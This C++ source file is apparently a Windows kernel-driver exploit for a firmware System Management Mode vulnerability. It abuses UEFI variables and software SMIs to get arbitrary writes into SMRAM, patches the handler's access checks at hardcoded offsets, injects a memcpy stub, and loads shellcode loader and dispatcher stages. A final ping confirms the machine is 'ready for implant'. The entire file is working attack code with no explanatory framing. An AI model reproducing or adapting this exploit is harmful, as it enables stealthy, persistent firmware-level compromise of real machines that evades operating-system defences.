exploit.cpp

#include "globals.hpp"
#include "shellcode.hpp"

PCONFIG Exploit::Config = NULL;
PhysicalMemory* Exploit::pPhysMem = NULL;

UINT64 Exploit::ADDR_ACCESS_DENIED = MODULE_BASE + 0x35D8;
UINT64 Exploit::ADDR_LEA_ACCESS_DENIED = MODULE_BASE + 0x26C4 + 0x4;

UINT64 Exploit::ADDR_MOV_EAX_20 = (MODULE_BASE + 0x1638) - 0x2;
UINT64 Exploit::ADDR_MOV_RDX_AX = (MODULE_BASE + 0x1638) + 0x9;

UINT64 Exploit::ADDR_MEMCPY_DEST = MODULE_BASE + 0x1138;
UINT64 Exploit::ADDR_CALL_WRITE_STATUS = MODULE_BASE + 0x26CB;

UINT64 Exploit::ADDR_STUB_DEST = MODULE_BASE + 0x1A08;

UINT64 Exploit::ADDR_CONFIG = 0x500;
UINT64 Exploit::ADDR_COMBUFF = 0;
UINT64 Exploit::ADDR_MODULE = 0;
UINT64 Exploit::ADDR_SHELLCODE_BUFF = 0;
UINT64 Exploit::ADDR_DEBUG = 0x1717171;

VOID Exploit::SendSMI(VOID)
{
    KAFFINITY affinity;
    affinity = KeSetSystemAffinityThreadEx(static_cast<KAFFINITY>(1));
    __outbyte(0xb2, 0xE3);
    KeRevertToUserAffinityThreadEx(affinity);
    return;
}

 NTSTATUS Exploit::GetVariableInfo(wchar_t* Name, PULONG Size, PULONG Attributes)
{
    UNICODE_STRING variable;
    GUID EFI_SETUP_VARIABLE_GUID = { 0xEC87D643, 0xEBA4, 0x4BB5, { 0xA1, 0xE5, 0x3F, 0x3E, 0x36, 0xB2, 0x0D, 0xA9 } };
   
    RtlInitUnicodeString(&variable, Name);

    return ExGetFirmwareEnvironmentVariable(&variable, &EFI_SETUP_VARIABLE_GUID, 0, Size, Attributes);
}

NTSTATUS Exploit::SetVariable(wchar_t* Name, PVOID Data, ULONG Size)
{
    UNICODE_STRING variable;
    GUID EFI_SETUP_VARIABLE_GUID = { 0xEC87D643, 0xEBA4, 0x4BB5, { 0xA1, 0xE5, 0x3F, 0x3E, 0x36, 0xB2, 0x0D, 0xA9 } };

    RtlInitUnicodeString(&variable, Name);

    return ExSetFirmwareEnvironmentVariable(&variable, &EFI_SETUP_VARIABLE_GUID, Data, Size, EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS);
}

NTSTATUS Exploit::WriteData(UINT64 Destination)
{
    NTSTATUS status = 0;

    UINT64 address = Destination - 0x79;

    status = SetVariable(L"WMIAcpiMemAddr", &address, sizeof(address));

    if (NT_ERROR(status))
    {
        DEBUGMSG("SetVariable (WMIAcpiMemAddr) returned %08x", status);
        return status;
    }

    // Delete
    status = SetVariable(L"ApServiceAuthority", NULL, 0);

    if (!NT_SUCCESS(status) && status != STATUS_VARIABLE_NOT_FOUND)
    {
        DEBUGMSG("SetVariable ApServiceAuthority (delete) returned %08x", status);
        return status;
    }

    SendSMI();

    return STATUS_SUCCESS;
}

NTSTATUS Exploit::WriteZeros(UINT64 Destination)
{
    NTSTATUS status = 0;

    UINT64 address = Destination - 0x79;

    status = SetVariable(L"WMIAcpiMemAddr", &address, sizeof(address));

    if (NT_ERROR(status))
    {
        DEBUGMSG("SetVariable (WMIAcpiMemAddr) returned %08x", status);
        return status;
    }

    BYTE zeros[] = { 0x00, 0x00 };

    status = SetVariable(L"ApServiceAuthority", &zeros, sizeof(zeros));

    if (NT_ERROR(status))
    {
        DEBUGMSG("SetVariable (ApServiceAuthority) returned %08x", status);
        return status;
    }

    SendSMI();

    return status;
}

NTSTATUS Exploit::OverflowAndWrite(UINT64 Destination, UINT64 Payload)
{
    WMIPayload wmi = { 0 };

    wmi.WmiACPIMemAddress = Destination - 0x79;
    wmi.WmiACPIMemAddressCpy = wmi.WmiACPIMemAddress;

    wmi.gSMRT = SMM_RUNTIME;
    wmi.Payload = Payload;

    NTSTATUS status = SetVariable(L"WMIAcpiMemAddr", &wmi, sizeof(WMIPayload));

    if (NT_ERROR(status))
    {
        DEBUGMSG("SetVariable (WMIAcpiMemAddr) returned %08x", status);
        return status;
    }

    SendSMI();

    return STATUS_SUCCESS;
}

NTSTATUS Exploit::CopyMemCopy(UINT64 Destination)
{
    NTSTATUS status = 0;

    for (UINT32 i = 0; i < sizeof(MEM_COPY); i++)
    {
        status = OverflowAndWrite(Destination - 0x2 + i, MEM_COPY[i]);

        if (NT_ERROR(status))
            break;
    }

    return status;
}

NTSTATUS Exploit::InitConfig(UINT64 Destination)
{

    CONFIG Conf = { 0 };

    ADDR_COMBUFF = ADDR_CONFIG + sizeof(CONFIG) + 0x8;
    ADDR_MODULE = ADDR_COMBUFF + sizeof(COMBUFF) + 0x8;
    ADDR_SHELLCODE_BUFF = ADDR_MODULE + sizeof(MAPPEDMODULE) + 0x8;

    Conf.CommBuffer = (PCOMBUFF)ADDR_COMBUFF;
    Conf.DebugBuffer = ADDR_DEBUG;
    Conf.SMRT = SMM_RUNTIME;
    Conf.Module = (PMAPPEDMODULE)ADDR_MODULE;

    ULONG64 SMST = 0;
    NTSTATUS status = FindSystemManagementServiceTable(*pPhysMem, &SMST);

    if (NT_ERROR(status))
    {
        DEBUGMSG("Failed to find SMST %08x", status);
        return status;
    }

    Conf.SMST = (EFI_SMM_SYSTEM_TABLE2*)SMST;

    return pPhysMem->Write(Destination, &Conf, sizeof(Conf));
}

NTSTATUS Exploit::CopyStubLoader(VOID)
{
    UINT32 stub_size = sizeof(STUB_LOADER);
    
    NTSTATUS status = pPhysMem->Write(ADDR_SHELLCODE_BUFF, (PVOID)&STUB_LOADER, stub_size);

    if (NT_ERROR(status))
    {
        DEBUGMSG("Failed to write STUB_LOADER to %08x - error %08x", ADDR_SHELLCODE_BUFF, status);
        return status;
    }

    COMBUFF ComBuff = { 0 };

    ComBuff.Source = (PVOID)((UINT64)ADDR_SHELLCODE_BUFF);
    ComBuff.Size = stub_size;
    ComBuff.Dest = (PVOID)((UINT64)ADDR_STUB_DEST);

    status = pPhysMem->Write(ADDR_COMBUFF, &ComBuff, sizeof(COMBUFF));

    if (NT_ERROR(status))
    {
        DEBUGMSG("Failed to write ComBuff to %08x - error %08x", ADDR_COMBUFF, status);
        return status;
    }
    
    return OverflowAndWrite(0x104, ADDR_COMBUFF);
}

NTSTATUS Exploit::CopyDispatcher(VOID)
{
    UINT32 shellcode_size = sizeof(DISPATCH);

    NTSTATUS status = pPhysMem->Write(ADDR_SHELLCODE_BUFF, (PVOID)&DISPATCH, shellcode_size);

    if (NT_ERROR(status))
    {
        DEBUGMSG("Failed to write DISPATCH to %08x - error %08x", ADDR_SHELLCODE_BUFF, status);
        return status;
    }

    COMBUFF ComBuff = { 0 };

    ComBuff.Source = (PVOID)((UINT64)ADDR_SHELLCODE_BUFF);
    ComBuff.Size = shellcode_size;
    ComBuff.Dest = NULL;

    status = pPhysMem->Write(ADDR_COMBUFF, &ComBuff, sizeof(ComBuff));

    if (NT_ERROR(status))
    {
        DEBUGMSG("Failed to write ComBuff to %08x - error %08x", ADDR_COMBUFF, status);
        return status;
    }

    SendSMI();

    return STATUS_SUCCESS;
}

NTSTATUS Exploit::ValidateDispatcher(VOID)
{
    CONFIG Conf = { 0 };
    
    NTSTATUS status = pPhysMem->Read(&Conf, ADDR_CONFIG, sizeof(CONFIG));

    if (NT_ERROR(status))
    {
        DEBUGMSG("Failed to read config struct from %llX", ADDR_CONFIG);
    }

    if (Conf.DispatchFunction)
    {
        DEBUGMSG("Dispatch function located at %llX", Conf.DispatchFunction);
        status = STATUS_SUCCESS;
    }
    else
    {
        DEBUGMSG("STUB_LOADER never allocated pages for Dispatch function");
        status = STATUS_ACCESS_DENIED;
    }

    return status;
}

NTSTATUS Exploit::Ping(VOID)
{
    COMBUFF ComBuff = { 0 };

    ComBuff.Action = PING;

    NTSTATUS status = pPhysMem->Write(ADDR_COMBUFF, &ComBuff, sizeof(COMBUFF));

    if (NT_ERROR(status))
    {
        DEBUGMSG("Failed to write ComBuff to %08x - error %08x", ADDR_COMBUFF, status);
        return status;
    }

    SendSMI();

    status = pPhysMem->Read(&ComBuff, ADDR_COMBUFF, sizeof(COMBUFF));

    if (NT_ERROR(status))
    {
        DEBUGMSG("Failed to read ComBuff at %llX - error %08x", ADDR_COMBUFF, status);
        return status;
    }

    DEBUGMSG("Dispatch function pinged: returns %llX", ComBuff.Status);

    if (ComBuff.Status == 0xDEADBEEF)
    {
        DEBUGMSG("All systems go: ready for implant.");
        status = STATUS_SUCCESS;
    }
    else
    {
        status = STATUS_ACCESS_DENIED;
    }

    return status;
}

VOID Exploit::Run(PhysicalMemory* pm)
{
    pPhysMem = pm;

    NTSTATUS status = 0;

    DEBUGMSG("Setting %llX to NULL", ADDR_ACCESS_DENIED);

    status = WriteZeros(ADDR_ACCESS_DENIED);

    if (NT_ERROR(status))
        return;

    DEBUGMSG("Patching %llX with 0x20", ADDR_LEA_ACCESS_DENIED);

    status = WriteData(ADDR_LEA_ACCESS_DENIED);

    if (NT_ERROR(status))
        return;

    DEBUGMSG("Fixing function %llX to prevent shellcode corruption...", (MODULE_BASE + 0x1638));

    DEBUGMSG("Patching %llX with 0x66", ADDR_MOV_EAX_20);

    status = OverflowAndWrite(ADDR_MOV_EAX_20, 0x66);

    if (NT_ERROR(status))
        return;

    DEBUGMSG("Patching %llX with 0x0", ADDR_MOV_RDX_AX);

    status = OverflowAndWrite(ADDR_MOV_RDX_AX, 0x00);

    if (NT_ERROR(status))
        return;

    DEBUGMSG("...function %llX ready for work", (MODULE_BASE + 0x1638));
    
    DEBUGMSG("memcpy shellcode -> %llX", ADDR_MEMCPY_DEST);

    status = CopyMemCopy(ADDR_MEMCPY_DEST);

    if (NT_ERROR(status))
        return;

    DEBUGMSG("Patching call at %llX to redirect -> %llX", ADDR_CALL_WRITE_STATUS, ADDR_MEMCPY_DEST);

    status = OverflowAndWrite(ADDR_CALL_WRITE_STATUS, 0xEA);

    if (NT_ERROR(status))
        return;

    status = InitConfig(ADDR_CONFIG);

    if (NT_ERROR(status))
        return;

    DEBUGMSG("Placing STUB_LOADER shellcode -> %llX", ADDR_STUB_DEST);
    
    status = CopyStubLoader();

    if (NT_ERROR(status))
        return;
   
    DEBUGMSG("Copying dispatch shellcode to buffer and triggering SMI to invoke stub_loader");

    status = CopyDispatcher();

    if (NT_ERROR(status))
        return;

    status = ValidateDispatcher();

    if (NT_ERROR(status))
        return;

    DEBUGMSG("Sending PING command to dispatch - expecting 0xDEADBEEF...");

    if (NT_ERROR(Ping()))
    {
        return;
    }

    // map module here
}